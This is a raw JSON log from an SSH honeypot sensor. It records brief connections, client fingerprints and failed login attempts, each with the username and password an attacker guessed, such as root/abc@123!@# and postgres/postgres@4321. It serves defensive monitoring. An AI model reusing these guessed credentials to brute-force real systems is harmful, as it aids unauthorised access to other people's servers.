{"eventid":"cowrie.login.failed","username":"root","password":"abc@123!@#","message":"login attempt [root/abc@123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:50.594351Z","src_ip":"185.40.30.168","session":"f8bb39a7566d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:38:51.725892Z","src_ip":"185.40.30.168","session":"f8bb39a7566d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":52048,"dst_ip":"159.203.135.109","dst_port":22,"session":"db4dc4222136","protocol":"ssh","message":"New connection: 159.203.92.129:52048 (159.203.135.109:22) [session: db4dc4222136]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:03.797642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:03.844203Z","src_ip":"159.203.92.129","session":"db4dc4222136","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:03.848671Z","src_ip":"159.203.92.129","session":"db4dc4222136","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"qaz123","message":"login attempt [administrator/qaz123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:04.094410Z","src_ip":"159.203.92.129","session":"db4dc4222136","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:05.218481Z","src_ip":"159.203.92.129","session":"db4dc4222136","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":49300,"dst_ip":"10.17.0.5","dst_port":22,"session":"db2a63af0151","protocol":"ssh","message":"New connection: 150.95.157.171:49300 (10.17.0.5:22) [session: db2a63af0151]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:36.265094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:36.274740Z","src_ip":"150.95.157.171","session":"db2a63af0151","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:36.434105Z","src_ip":"150.95.157.171","session":"db2a63af0151","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"user123456","message":"login attempt [root/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:37.061655Z","src_ip":"150.95.157.171","session":"db2a63af0151","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:38.220597Z","src_ip":"150.95.157.171","session":"db2a63af0151","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":33688,"dst_ip":"159.203.135.109","dst_port":22,"session":"91e453484cdc","protocol":"ssh","message":"New connection: 185.40.30.168:33688 (159.203.135.109:22) [session: 91e453484cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:40.608052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:40.612440Z","src_ip":"185.40.30.168","session":"91e453484cdc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:40.742599Z","src_ip":"185.40.30.168","session":"91e453484cdc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"adminit","message":"login attempt [root/adminit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:41.327540Z","src_ip":"185.40.30.168","session":"91e453484cdc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:42.459525Z","src_ip":"185.40.30.168","session":"91e453484cdc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47660,"dst_ip":"159.203.135.109","dst_port":22,"session":"b0919b6ca1f8","protocol":"ssh","message":"New connection: 159.203.92.129:47660 (159.203.135.109:22) [session: b0919b6ca1f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:46.442059Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:46.446712Z","src_ip":"159.203.92.129","session":"b0919b6ca1f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:46.450877Z","src_ip":"159.203.92.129","session":"b0919b6ca1f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"redroot","message":"login attempt [administrator/redroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:46.463229Z","src_ip":"159.203.92.129","session":"b0919b6ca1f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:39:47.477996Z","src_ip":"159.203.92.129","session":"b0919b6ca1f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.23.241.31","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6fa415918dc","protocol":"ssh","message":"New connection: 64.23.241.31:51690 (10.17.0.5:22) [session: d6fa415918dc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:13.408210Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:13.417408Z","src_ip":"64.23.241.31","session":"d6fa415918dc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:13.423888Z","src_ip":"64.23.241.31","session":"d6fa415918dc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.23.241.31","src_port":51702,"dst_ip":"10.17.0.5","dst_port":22,"session":"0505cca43703","protocol":"ssh","message":"New connection: 64.23.241.31:51702 (10.17.0.5:22) [session: 0505cca43703]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:13.579951Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:13.584731Z","src_ip":"64.23.241.31","session":"0505cca43703","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:13.589628Z","src_ip":"64.23.241.31","session":"0505cca43703","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":2588,"dst_ip":"159.203.135.109","dst_port":22,"session":"744df50838e9","protocol":"ssh","message":"New connection: 125.166.19.90:2588 (159.203.135.109:22) [session: 744df50838e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:24.124386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:24.129730Z","src_ip":"125.166.19.90","session":"744df50838e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:25.167433Z","src_ip":"125.166.19.90","session":"744df50838e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sebastien","password":"test","message":"login attempt [sebastien/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:27.557742Z","src_ip":"125.166.19.90","session":"744df50838e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:28.835913Z","src_ip":"125.166.19.90","session":"744df50838e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":56120,"dst_ip":"159.203.135.109","dst_port":22,"session":"a95edc038418","protocol":"ssh","message":"New connection: 159.203.92.129:56120 (159.203.135.109:22) [session: a95edc038418]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:29.887538Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:29.935165Z","src_ip":"159.203.92.129","session":"a95edc038418","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:29.938983Z","src_ip":"159.203.92.129","session":"a95edc038418","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root","message":"login attempt [administrator/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:30.110670Z","src_ip":"159.203.92.129","session":"a95edc038418","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:31.116908Z","src_ip":"159.203.92.129","session":"a95edc038418","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":38136,"dst_ip":"10.17.0.5","dst_port":22,"session":"1f6bc28ea363","protocol":"ssh","message":"New connection: 150.95.157.171:38136 (10.17.0.5:22) [session: 1f6bc28ea363]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:37.448874Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:37.454100Z","src_ip":"150.95.157.171","session":"1f6bc28ea363","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:37.617592Z","src_ip":"150.95.157.171","session":"1f6bc28ea363","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres@4321","message":"login attempt [postgres/postgres@4321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:38.322502Z","src_ip":"150.95.157.171","session":"1f6bc28ea363","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:39.489576Z","src_ip":"150.95.157.171","session":"1f6bc28ea363","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":7740,"dst_ip":"10.17.0.5","dst_port":22,"session":"7beaecf3fe73","protocol":"ssh","message":"New connection: 87.251.64.176:7740 (10.17.0.5:22) [session: 7beaecf3fe73]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:48.926196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:40:48.934380Z","src_ip":"87.251.64.176","session":"7beaecf3fe73","protocol":"ssh"}
